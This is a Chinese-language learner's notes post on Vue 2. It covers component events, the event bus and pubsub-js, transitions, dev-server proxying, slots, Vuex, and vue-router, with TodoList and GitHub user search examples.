<!-- 写了这个属性那app的样式就只能app用了,一般不会在app里加 --> <!-- <style scoped> --> <style> .app { padding: 10px; background-color: pink; } </style>
|
组件自定义事件-解绑
就是使用$off或者直接摧毁vc或者vm
组件的自定义事件-总结
一种组件间的通信方式,适用于: 子组件===>父组件
使用场景: A是父组件,B是子组件,B想给A传数据,那么就要在A中给B绑定自定义事件(事件的回调在A中)
绑定自定义事件
- 第一种方式,在父组件中
<Demo @zzmr="test"/>
或 <Demo v-on:zzmr="test"/>
- 第二种方式,在父组件中
1 2 3 4 5
| <Demo ref="demo"/> ... mounted(){ this.$refx.demo.$on('zzmr',this.test) }
|
- 若想让自定义事件只能触发一次,可以使用once修饰符,或者$once方法
触发自定义事件:this.$emit('zzmr',数据)
解绑自定义事件:```this.$off(‘zzmr’)
组件上也可以绑定原生的DOM事件,需要使用native修饰符
注意: 通过 this.$refs.demo.$on('zzmr',回调)
,绑定自定义事件,回调要么配置在methods中,要么使用箭头函数没否则this的指向会出问题
TodoList案例-自定义事件
使用组件的自定义事件来修改TodoList案例的子传父数据的情景
基本就是把传递函数的地方改成了@
然后不用props接收了,只需要在原来调用函数的地方改成$emit
1 2 3 4 5 6 7 8 9 10 11 12 13
| <MyFooter :todos="todos" @checkAllTodo="checkAllTodo" @clearAllTodoIfTrue="clearAllTodoIfTrue"> </MyFooter> ...
isAll: { get() { return this.doneTotal === this.total && this.total > 0 }, set(value) { this.$emit('checkAllTodo', value) } }
|
全局事件总线
GlobalEventBus
- 一种组件间通信的方式,适用于任意组件间的通信
- 安装全局事件总线
1 2 3 4 5 6 7 8
| const vm = new Vue({ el: '#app', render: h => h(App), beforeCreate() { Vue.prototype.$bus = this } })
|
使用事件总线
- 接收数据:A组件想要接受数据,则在A组件中给$bus绑定自定义事件,事件的回调留在A组件自身
1 2 3 4 5 6
| mounted() { this.$bus.$on('hello', (data) => { console.log('我是School组件,收到了数据', data) }) },
|
- 提供数据
this.$bus.$emit('hello', 数据)
最好在beforeDstroy钩子中,用$off去解绑当前组件用到的事件
1 2 3
| beforeDestroy(){ this.$bus.$off('hello') }
|
消息订阅与发布
要引入第三方库:pubsub-js
直接 npm i pubsub-js
就安装好了
然后在script里面引入(要在发送消息和订阅消息的组件里面都引入)
订阅消息的School
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import pubsub from 'pubsub-js' ...
mounted() { this.pubId = pubsub.subscribe('hello', (msgName, data) => { console.log('有人发布了hello消息,hello消息的回调执行了') console.log('@', msgName, data) console.log(this) }) }, beforeDestroy() { pubsub.unsubscribe(this.pubId) }
|
这就很简洁明了了,直接使用 pubsub.subscribe(消息名,回调)
就完成了订阅消息,写在mounted钩子中,是为了让组件挂在完毕后就一直听是否有消息过来了,最后在组件销毁之前,解除订阅消息 pubsub.unsubscribe(消息id)
发布消息的student
1 2 3 4 5 6 7 8
| import pubsub from 'pubsub-js' ...
methods: { sendStudentName() { pubsub.publish('hello',this.name) } }
|
就在要发送消息的地方写上 pubsub.publish(消息名,传送的数据)
就可以了
总结
一种组件间通信的方式,适用于任意组件间通信
使用步骤
- 安装pubsub:
npm i pubsub-js
- 引入:
import pubsub from 'pubsub-js'
- 接收数据,A组件想接收数据,则在A组件中订阅消息,订阅的回调留在A组件自身(上面的是使用箭头函数,下面的是使用了一个函数来作为回调)
1 2 3 4 5 6 7
| methods(){ demo(data){...} } ... mounted(){ this.pid = pubsub.subscribe('xxx',this.demo) }
|
- 提供数据:
pubsub.publish('xxx',数据)
- 最好在beforeDestroy钩子中,用pubsub.unsubscribe(pid)去取消订阅
TodoList结合消息订阅与发布
只改了删除一个部分的
show me the code
MyItem.vue
1 2 3 4 5 6 7 8
| handleDelete(id) { if (confirm('确定删除吗')) { pubsub.publish('deleteTodo',id) } }
|
原来是放到事件总线中,现在换成了pubsub,发布消息
App.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| mounted(){ this.$bus.$on('checkTodo',this.checkTodo) this.pid = pubsub.subscribe('deleteTodo',this.deleteTodo) }, beforeDestroy(){ this.$bus.$off('checkTodo') pubsub.unsubscribe(pid) }
.... deleteTodo(_,id) {
this.todos = this.todos.filter(todo => todo.id !== id) },
|
就是要注意这个delteTodo的形参了,因为订阅消息,接收到的数据是两个,一个是msgName,一个是数据(在这里面是id),但我们只要id,所以前面就用下划线占位
TodoList添加编辑功能
nextTick
- 语法:
this.$nextTick(回调函数)
- 作用: 在下一次DOM更新结束后执行其回调
- 什么时候用:当改变数据后,要基于更新后的DOM进行某些操作时,要在nextTick所指定的回调函数中执行
编辑功能具体代码
MyItem.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106
| <template> <li> <label> <input type="checkbox" :checked="todo.done" @change="handleCheck(todo.id)" /> <span v-show="!todo.isEdit">{{ todo.title }}</span> <input type="text" v-show="todo.isEdit" :value="todo.title" @blur="handleBlur(todo, $event)" ref="inputTitle"> </label> <button class="btn btn-danger" @click="handleDelete(todo.id)">删除</button> <button class="btn btn-edit" @click="handleEdit(todo)" v-show="!todo.isEdit">编辑</button> </li> </template>
<script> import pubsub from 'pubsub-js'
export default { name: 'MyItem', props: ['todo'], methods: { handleCheck(id) { this.$bus.$emit('checkTodo', id) }, handleDelete(id) { if (confirm('确定删除吗')) { pubsub.publish('deleteTodo', id) } }, handleEdit(todo) { if (todo.hasOwnProperty('isEdit')) { todo.isEdit = true } else { this.$set(todo, 'isEdit', true) }
this.$nextTick(function () { this.$refs.inputTitle.focus() }) }, handleBlur(todo, e) { todo.isEdit = false if (e.target.value.trim() === '') return alert('title不能为空') this.$bus.$emit('updateTodo', todo.id, e.target.value) } } } </script>
<style scoped>
li { list-style: none; height: 36px; line-height: 36px; padding: 0 5px; border-bottom: 1px solid #ddd; }
li label { float: left; cursor: pointer; }
li label li input { vertical-align: middle; margin-right: 6px; position: relative; top: -1px; }
li button { float: right; display: none; margin-top: 3px; }
li:before { content: initial; }
li:last-child { border-bottom: none; }
li:hover { background-color: green; }
li:hover button { display: block; } </style>
|
这里还是使用的事件总线
App.vue
1 2 3 4 5 6 7 8 9 10 11 12 13
| updateTodo(id,title) { this.todos.forEach((todo) => { if (todo.id === id) { todo.title = title } }) },
...
this.$bus.$on('updateTodo',this.updateTodo)
|
就实现了编辑功能了
动画效果
transition标签
使用```````````````标签包裹住要执行动画的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| <template> <div> <button @click="isShow = !isShow">显示/隐藏</button> <transition name="hello" appear> <h1 v-show="isShow">Hello</h1> </transition> </div> </template>
<script> export default { name: 'Test', data() { return { isShow: true, } },
} </script>
<style scoped> h1 { background-color: pink; }
.hello-enter-active { animation: zzmr 1s linear; }
.hello-leave-active { animation: zzmr 1s linear reverse; }
@keyframes zzmr { from { transform: translateX(-100%); }
to { transform: translateX(0px); } } </style>
|
过度实现
上一个是通过动画实现,这个通过过度实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| <template> <div> <button @click="isShow = !isShow">显示/隐藏</button> <transition name="hello" appear> <h1 v-show="isShow">Hello</h1> </transition> </div> </template>
<script> export default { name: 'Test', data() { return { isShow: true, } },
} </script>
<style scoped> h1 { background-color: pink; }
.hello-enter, .hello-leave-to { transform: translateX(-100%) }
.hello-enter-to, .hello-leave { transform: translateX(0) }
.hello-enter-active, .hello-leave-active { transition: 0.5s linear; }
</style>
|
多个元素过度
要使用transition-group标签,然后每个child都要有自己的key
1 2 3 4
| <transition-group name="hello" appear> <h1 v-show="isShow" key="1">Hello</h1> <h1 v-show="!isShow" key="2">zzmr</h1> </transition-group>
|
集成第三方动画
搞了个乌龙,animate.css我装成animate了
animate.css
安装上:npm install animate.css --save
然后就可以引入使用了
1 2 3 4 5 6 7 8 9 10 11 12
| import 'animate.css' ...
<transition-group appear name="animate__animated animate__bounce" enter-active-class="animate__swing" leave-active-class="animate__backOutUp" > <h1 v-show="isShow" key="1">Hello</h1> <h1 v-show="!isShow" key="2">zzmr</h1> </transition-group>
|
有很多很多的样式,但是由于官网不知道为啥打不开
所以,就用了老师说的这几个
Vue封装的过渡与动画-总结
又到了喜闻乐见的总结环节
- 作用:在插入,更新或移除DOM元素时,在合适的时候给元素添加样式类名
- 图示:
3. 写法
1. 准备好样式
- 元素进入的样式
1. v-enter: 进入的起点
2. v-enter-active: 进入的过程中
3. v-enter-to: 进入的终点
- 元素离开的样式
1. v-leave: 离开的起点
2. v-leave-active: 离开的过程中
3. v-leave-to: 离开的终点
2. 使用transition包裹要过度的元素,并配置name属性
3. 备注: 若有多个元素需要过度,则需要使用transition-group,且每个元素都要指定key值
这里正好把TodoList案例给加一些动画
效果还可以
MyList.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| <template> <ul class="todo-main"> <transition-group name="todo" appear> <MyItem v-for="todoObj in todos" :key="todoObj.id" :todo="todoObj"></MyItem> </transition-group> </ul> </template>
<script> import MyItem from './MyItem.vue' export default { name: 'MyList', components: { MyItem }, props: ['todos']
} </script> <style scoped>
.todo-main { margin-left: 0px; border: 1px solid #ddd; border-radius: 2px; padding: 0px; }
.todo-empty { height: 40px; line-height: 40px; border: 1px solid #ddd; border-radius: 2px; padding-left: 5px; margin-top: 10px; }
.todo-enter-active { animation: zzmr 1s linear; }
.todo-leave-active { animation: zzmr 0.5s linear reverse; }
@keyframes zzmr { from { transform: translateX(-100%); }
to { transform: translateX(0px); } } </style>
|
使用Vue发送Ajax请求
终于到这了
使用脚手架解决跨域问题
代理服务器解决跨域问题
就是设置一台代理服务器,然后前端跟代理服务器直接进行通信,代理服务器的端口号是和前端一样的,然后给代理服务器配置目标的url,让代理服务器给目标服务器进行通信
方法一
在vue.config.js中添加如下配置
1 2 3
| devServer: { proxy: 'http://localhost:5000' }
|
说明:
- 优点:配置简单,请求资源时直接发给前端(8080)即可
- 缺点:不能配置多个代理,不能灵活的控制请求是否走代理
- 工作方式:若按照上述配置代理,当请求了前端不存在的资源时,那么请求会转发给服务器(优先匹配前端资源)
方法二
编写vue.config.js配置具体代理规则,还是在devServer中
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| proxy: { '/zzmr': { target: 'http://localhost:5000', pathRewrite: { '^/zzmr': '' }, ws: true, changeOrigin: true }, '/demo': { target: 'http://localhost:5001', pathRewrite: { '^/demo': '' }, ws: true, changeOrigin: true }, }
|
说明:
- 优点: 可以配置多个代理,且可以灵活的控制请求是否走代理
- 缺点: 配置略微繁琐,请求资源时必须加前缀
测试代码 App.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <template> <div> <button @click="getStudents">获取学生信息</button> <button @click="getCars">获取汽车信息</button> </div> </template>
<script>
import axios from "axios"
export default { name: 'App', methods: { getStudents() { axios.get('http://localhost:8080/zzmr/students').then( response => { console.log('请求成功了', response.data) }, error => { console.log('请求失败了', error.message) } ) }, getCars() { axios.get('http://localhost:8080/demo/cars').then( response => { console.log('请求成功了', response.data) }, error => { console.log('请求失败了', error.message) } ) } } } </script>
|
github案例-静态组件
老师给的那个url获取的图片已经没了
所以用我自己的吧,我自己的favicon.ico
这个案例还挺有意思,可以搜索github里的用户
代码放着吧
main.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import Vue from "vue"
import App from './App'
Vue.config.productionTip = false
const vm = new Vue({ el: '#app', render: h => h(App), beforeCreate() { Vue.prototype.$bus = this } })
|
App.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <template> <div class="container"> <Search></Search> <List></List> </div> </template>
<script>
import Search from "./components/Search.vue" import List from "./components/List.vue"
export default { name: 'App', methods: {
}, components: { List, Search } } </script>
<style>
</style>
|
List.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| <template> <div class="row"> <div v-show="info.users.length" class="card" v-for="user of info.users" :key="user.login"> <a :href="user.html_url" target="_blank"> <img :src="user.avatar_url" style="width: 100px" /> </a> <p class="card-text">{{ user.login }}</p> </div> <h1 v-show="info.isFirst">欢迎使用</h1> <h1 v-show="info.isLoading">Loading</h1> <h1 v-show="info.errMsg">{{ info.errMsg }}</h1> </div> </template>
<script>
import pubsub from "pubsub-js"
export default { name: 'List', data() { return { info: { isFirst: true, isLoading: false, errMsg: '', users: [] } } }, mounted() {
this.pubId = pubsub.subscribe('updateListData', (msgName, dataObj) => { this.info = { ...this.info, ...dataObj } }) } } </script>
<style scoped> .album { min-height: 50rem; padding-top: 3rem; padding-bottom: 3rem; background-color: #f7f7f7; }
.card { float: left; width: 33.333%; padding: .75rem; margin-bottom: 2rem; border: 1px solid #efefef; text-align: center; }
.card>img { margin-bottom: .75rem; border-radius: 100px; }
.card-text { font-size: 85%; } </style>
|
Search.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| <template> <section class="jumbotron"> <h3 class="jumbotron-heading">Search Github Users</h3> <div> <input type="text" placeholder="enter the name you search" v-model="keyWord" @keyup.enter="searchUsers" /> <button @click="searchUsers">Search</button> </div> </section> </template>
<script>
import axios from "axios" import pubsub from "pubsub-js"
export default { name: 'Search', data() { return { keyWord: '' } }, methods: {
searchUsers() { pubsub.publish('updateListData', { isFirst: false, isLoading: true, errMsg: '', users: [] })
axios.get(`https://api.github.com/search/users?q=${this.keyWord}`).then(response => { pubsub.publish('updateListData', { isLoading: false, errMsg: '', users: response.data.items }) }, error => { console.log('请求失败了', error.message) pubsub.publish('updateListData',{ isLoading: false, errMsg: error.message, users: [] }) }) }
} } </script>
<style>
</style>
|
vue-resouces
安装:npm i vue-resource
使用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
|
import vueResource from 'vue-resource'
Vue.use(vueResource) ... searchUsers() { pubsub.publish('updateListData', { isFirst: false, isLoading: true, errMsg: '', users: [] })
this.$http.get(`https://api.github.com/search/users?q=${this.keyWord}`).then(response => { pubsub.publish('updateListData', { isLoading: false, errMsg: '', users: response.data.items }) }, error => { console.log('请求失败了', error.message) pubsub.publish('updateListData',{ isLoading: false, errMsg: error.message, users: [] }) }) }
|
如上代码,就是把axios换成this.$http,用法和axios一摸一样
插槽
再给图床上传一张大的头像
还行,没啥难的
作用:让父组件可以向子组件指定位置插入html结构,也是一种组件间通信的方式,适用于 父组件 ===> 子组件。
分类:默认插槽、具名插槽、作用域插槽
使用方式:
- 默认插槽:
1 2 3 4 5 6 7 8 9 10 11
| 父组件中: <Category> <div>html结构1</div> </Category> 子组件中: <template> <div> <slot>插槽默认内容...</slot> </div> </template>
|
- 具名插槽:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| 父组件中: <Category> <template slot="center"> <div>html结构1</div> </template>
<template v-slot:footer> <div>html结构2</div> </template> </Category> 子组件中: <template> <div> <slot name="center">插槽默认内容...</slot> <slot name="footer">插槽默认内容...</slot> </div> </template>
|
作用域插槽:
- 理解:
<span style="color:red">
数据在组件的自身,但根据数据生成的结构需要组件的使用者来决定。(games数据在Category组件中,但使用数据所遍历出来的结构由App组件决定)
- 具体编码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| 父组件中: <Category> <template scope="scopeData"> <ul> <li v-for="g in scopeData.games" :key="g">{{g}}</li> </ul> </template> </Category>
<Category> <template slot-scope="scopeData"> <h4 v-for="g in scopeData.games" :key="g">{{g}}</h4> </template> </Category> 子组件中: <template> <div> <slot :games="games"></slot> </div> </template>
<script> export default { name:'Category', props:['title'], data() { return { games:['红色警戒','穿越火线','劲舞团','超级玛丽'] } }, } </script>
|
vuex
vuex简介
概念: 专门在Vue中实现集中式状态(数据)管理的一个Vue插件,对Vue应用中多个组件的共享状态进行集中式的管理(读/写),也是一种组件间通信的方式,且适用于任意组件间的通信
什么时候使用vuex?
- 多个组件依赖于同一状态
- 来自不同组件的因为需要变更同一状态
求和案例-vue版
Count.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| <template> <div> <h1>当前求和为: {{ sum }}</h1> <select v-model.number="n"> <option value="1">1</option> <option value="2">2</option> <option value="3">3</option> </select> <button @click="increment">+</button> <button @click="decrement">-</button> <button @click="incrementOdd">当前求和为奇数再加</button> <button @click="incrementWait">等一等再加</button> </div> </template>
<script> export default { name: 'Count', data() { return { n: 1, sum: 0 } }, methods: { increment() { this.sum += this.n }, decrement() { this.sum -= this.n }, incrementOdd() { if (this.sum % 2) { this.sum += this.n } }, incrementWait(){ setTimeout(()=>{ this.sum += this.n },500) } }
} </script>
<style> button { margin-left: 5px; } </style>
|
vuex工作原理
一张图:
安装及搭建vuex环境
执行命令:npm i vuex@3
现在vuex已经更新到4了,适配vue3,而vue2只能使用vuex3
搭建环境:
- 在src下创建文件
src/store/index.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import Vue from 'vue'
import Vuex from 'vuex'
Vue.use(Vuex)
const actions = {}
const mutations = {}
const state = {}
export default new Vuex.Store({ actions, mutations, state })
|
- 在main.js中创建vm时传入store配置项
1 2 3 4 5 6 7 8 9 10 11
| ......
import store from './store' ......
new Vue({ el:'#app', render: h => h(App), store })
|
基本使用
Count.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| <template> <div> <h1>当前求和为: {{ $store.state.sum }}</h1> <select v-model.number="n"> <option value="1">1</option> <option value="2">2</option> <option value="3">3</option> </select> <button @click="increment">+</button> <button @click="decrement">-</button> <button @click="incrementOdd">当前求和为奇数再加</button> <button @click="incrementWait">等一等再加</button> </div> </template>
<script> export default { name: 'Count', data() { return { n: 1, } }, methods: { increment() { this.$store.commit('JIA', this.n) }, decrement() { this.$store.commit('JIAN', this.n) }, incrementOdd() { this.$store.dispatch('jiaOdd', this.n) }, incrementWait() { this.$store.dispatch('jiaWait', this.n) } }
} </script>
<style> button { margin-left: 5px; } </style>
|
index.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
|
import Vuex from 'vuex'
import Vue from 'vue'
Vue.use(Vuex)
const actions = {
jiaOdd(context, value) { if (context.state.sum % 2) { context.commit('JIA', value) }
},
jiaWait(context, value) { setTimeout(() => { context.commit('JIA', value) }, 500); } }
const mutations = { JIA(state, value) { state.sum += value }, JIAN(state, value) { state.sum -= value },
}
const state = { sum: 0
}
export default new Vuex.Store({ actions, mutations, state })
|
- 组件中读取vuex中的数据:
$store.state.sum
- 组件中修改vuex中的数据:
$store.dispatch('action中的方法名',数据)
或 $store.commit('mutation中的方法名',数据)
- 若没有网络请求或者其他业务逻辑,组件中可以越过actions,即不屑dispatch,直接写commit
_getter配置项
- 概念:当state中的数据需要进行加工后再使用,可以使用getters加工
- 在store(index).js中追加getters配置
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| const getters = { bigSum(state) { return state.sum * 10 } }
export default new Vuex.Store({ actions, mutations, state, getters })
|
- 组件中读取数据
$store.getters.bigSum
四个map方法的使用
- mapState方法:用于帮助我们映射state中的数据为计算属性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| computed: {
...mapState([sum:'sum',school:'school',subject:'subject'])
...mapState(['sum', 'school', 'subject']),
sum() { return this.$store.state.sum }, school() { return this.$store.state.school }, subject() { return this.$store.state.subject }, }
|
- mapGetters方法: 用于帮助我们映射getters中的数据为计算属性(使用方法和mapState类似,或者说一摸一样)
1 2 3 4 5 6 7 8 9 10
| bigSum() { return this.$store.getters.bigSum },
...mapGetters(['bigSum']),
...mapGetters({bigSum:'bigSum'})
|
- mapActions方法: 用于帮助我们生成与actions对话的方法,即包含
$store.dispatch(xxx)的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| methods :{ ...mapActions({ incrementOdd: 'jiaOdd', incrementWait: 'jiaWait' })
...mapActions(['jiaOdd','jiaWait']) incrementOdd() { this.$store.dispatch('jiaOdd', this.n) }, incrementWait() { this.$store.dispatch('jiaWait', this.n) } }
|
- mapMutations方法: 用于帮助我们生成与mutations对话的方法,即:包含``$store.commit(xxx)```的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| methods: {
...mapMutations({ increment: 'JIA', decrement: 'JIAN' }),
}
|
备注: mapActions与mapMutations使用时,若需要传递参数需要,在模板中绑定事件传递好参数,否则参数时事件对象
vuex模块化编码
目的:让代码更好维护,让多种数据分类更加明确。
修改 store.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| const countAbout = { namespaced:true, state:{x:1}, mutations: { ... }, actions: { ... }, getters: { bigSum(state){ return state.sum * 10 } } }
const personAbout = { namespaced:true, state:{ ... }, mutations: { ... }, actions: { ... } }
const store = new Vuex.Store({ modules: { countAbout, personAbout } })
|
开启命名空间后,组件中读取state数据:
1 2 3 4
| this.$store.state.personAbout.list
...mapState('countAbout',['sum','school','subject']),
|
开启命名空间后,组件中读取getters数据:
1 2 3 4
| this.$store.getters['personAbout/firstPersonName']
...mapGetters('countAbout',['bigSum'])
|
开启命名空间后,组件中调用dispatch
1 2 3 4
| this.$store.dispatch('personAbout/addPersonWang',person)
...mapActions('countAbout',{incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
|
开启命名空间后,组件中调用commit
1 2 3 4
| this.$store.commit('personAbout/ADD_PERSON',person)
...mapMutations('countAbout',{increment:'JIA',decrement:'JIAN'}),
|
路由
路由简介
vue-router
vue的一个插件库,专门用来实现SPA应用
SPA
- 单页Web应用(single page web application ,SPA)
- 整个应用只有一个完整的页面
- 点击页面中的导航链接不会刷新页面,只会做页面的局部更新
- 数据需要通过ajax请求获取
路由的理解
什么是路由?
- 路由就是一组key-value的对应关系
- 多个路由,需要经过路由器管理
路由分类
- 后端路由
- 理解: value是function,用于处理客户端提交的请求
- 工作过程: 服务器接收到一个请求时,根据请求路径找到匹配的函数来处理请求,返回响应数据
- 前端路由
- 理解: value是component,用于展示页面内容
- 工作过程: 当浏览器的路劲改变时,对应的组件就会显示
路由基本使用
安装:npm i vue-router@3
router3版本对应vue2,现在是4版本了,对应vue3,所以要装3版本的
实现如图的功能
应用插件,还是引入后直接user即可
看main.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| import Vue from "vue"
import App from './App'
import VueRouter from "vue-router"
import router from './router'
Vue.use(VueRouter)
Vue.config.productionTip = false
const vm = new Vue({ el: '#app', render: h => h(App), router: router })
|
看index.js(router目录下的)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import VueRouter from "vue-router";
import About from '../components/About' import Home from '../components/Home'
export default new VueRouter({ routes: [ { path: '/about', component: About }, { path: '/home', component: Home } ], })
|
看App.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| <template> <div> <div class="row"> <div class="col-xs-offset-2 col-xs-8"> <div class="page-header"> <h2>Vue Router Demo</h2> </div> </div> </div> <div class="row"> <div class="col-xs-2 col-xs-offset-2"> <div class="list-group">
<router-link active-class="active" class="list-group-item" to="/about">About</router-link> <router-link active-class="active" class="list-group-item" to="/home">Home</router-link>
</div> </div> <div class="col-xs-6"> <div class="panel"> <div class="panel-body"> <router-view></router-view> </div> </div> </div> </div> </div> </template>
<script>
export default { name: 'App', methods: {
}, components: {
}, mounted() { } }
</script>
<style scoped>
</style>
|
还有两个组件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <template> <h2>我是Home的内容</h2> </template>
<script> export default { name: 'Home', } </script>
<style>
</style>
<template> <h2>我是About的内容</h2> </template>
<script> export default { name: 'About' } </script>
<style>
</style>
|
总结
安装vue-router,命令:npm i vue-router
应用插件:Vue.use(VueRouter)
编写router配置项:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import VueRouter from 'vue-router'
import About from '../components/About' import Home from '../components/Home'
const router = new VueRouter({ routes:[ { path:'/about', component:About }, { path:'/home', component:Home } ] })
export default router
|
实现切换(active-class可配置高亮样式)
1
| <router-link active-class="active" to="/about">About</router-link>
|
指定展示位置
1
| <router-view></router-view>
|
注意事项
- 路由组件通常存放在pages文件夹,一般组件通常存放在components文件夹
- 通过切换,”隐藏了路由组件”,默认是被销毁掉的,需要的时候再去挂载
- 每个组件都有自己的
$route
属性,里面存储着自己的路由信息
- 整个应用只有一个router,可以通过组件的
$router
属性获取到
嵌套路由
配置路由规则,使用children配置项
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| routes: [ { path: '/about', component: About }, { path: '/home', component: Home, children: [ { path: 'news', component: News }, { path: 'message', component: Message }, ] },
],
|
跳转-要写完整路径
1
| <router-link active-class="active" class="list-group-item" to="/home/news">News</router-link>
|
路由的query参数
- 传递参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <li v-for="msg in messageList" :key="msg.id"> <!-- 跳转路由并携带query参数,to的字符串写法 --> <!-- <router-link :to="`/home/message/detail?id=${msg.id}&title=${msg.title}`">{{ msg.title }}</router-link> --> <!-- to的对象写法 --> <router-link :to="{ path: '/home/message/detail', query: { id: msg.id, title: msg.title, } }"> {{ msg.title }} </router-link> </li>
|
- 接收参数
$route.query.xxx
命名路由
作用: 可以简化路由的跳转
如何使用
- 给路由命名:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| routes: [ { name: 'guanyu', path: '/about', component: About }, { path: '/home', component: Home, children: [ { path: 'news', component: News }, { path: 'message', component: Message, children: [ { name: 'xiangqing', path: 'detail', component: Detail } ] }, ] },
],
|
- 简化跳转:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <router-link :to="{ // path: '/home/message/detail', name: 'xiangqing', query: { id: msg.id, title: msg.title, } }"> {{ msg.title }} </router-link>
<router-link active-class="active" class="list-group-item" to="/about">About</router-link> <router-link active-class="active" class="list-group-item" :to="{ name: 'guanyu' }">About</router-link>
|
params参数
配置路由,声明接收params参数:
1 2 3 4 5 6 7 8 9 10 11
| { path: 'message', component: Message, children: [ { name: 'xiangqing', path: 'detail/:id/:title', component: Detail } ] },
|
传递参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <router-link :to="`/home/message/detail/${msg.id}/${msg.title}`"> {{ msg.title }} </router-link>
<router-link :to="{
// 注意,如果使用params,就不能使用path,必须使用name
// path: '/home/message/detail', name: 'xiangqing', params: { id: msg.id, title: msg.title, } }"> {{ msg.title }} </router-link>
|
特别注意: 路由携带params参数时,若使用to的对象写法,不能使用path配置项,必须使用name配置
- 接收参数:
$route.params.xxx
路由的props配置
作用: 让路由组件更加方便的收到并使用参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| { name: 'xiangqing', path: 'detail', component: Detail,
props: { a: 1, b: 'hello', }
props:true
props($route) { return { id: $route.query.id, title: $route.query.title } },
}
|
接收的地方还是正常的接收,和原来一样
router-link的replace属性
- 作用: 控制路由跳转时操作浏览器历史记录的模式
- 浏览器的历史记录有两种写入方式,分别为push和replace,push是追加历史记录,replace是替换当前记录,路由跳转时候默认为push
- 如何开启replace模式:```<router-link replace … >News
编程式路由导航
什么是编程式路由导航?就是不借助router-link
标签的路由导航,让路由跳转更加灵活
具体实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| methods: { pushShow(msg) { this.$router.push({ path: '/home/message/detail', query: { id: msg.id, title: msg.title, } }) }, replaceShow(msg) { this.$router.replace({ path: '/home/message/detail', query: { id: msg.id, title: msg.title, } })
} }
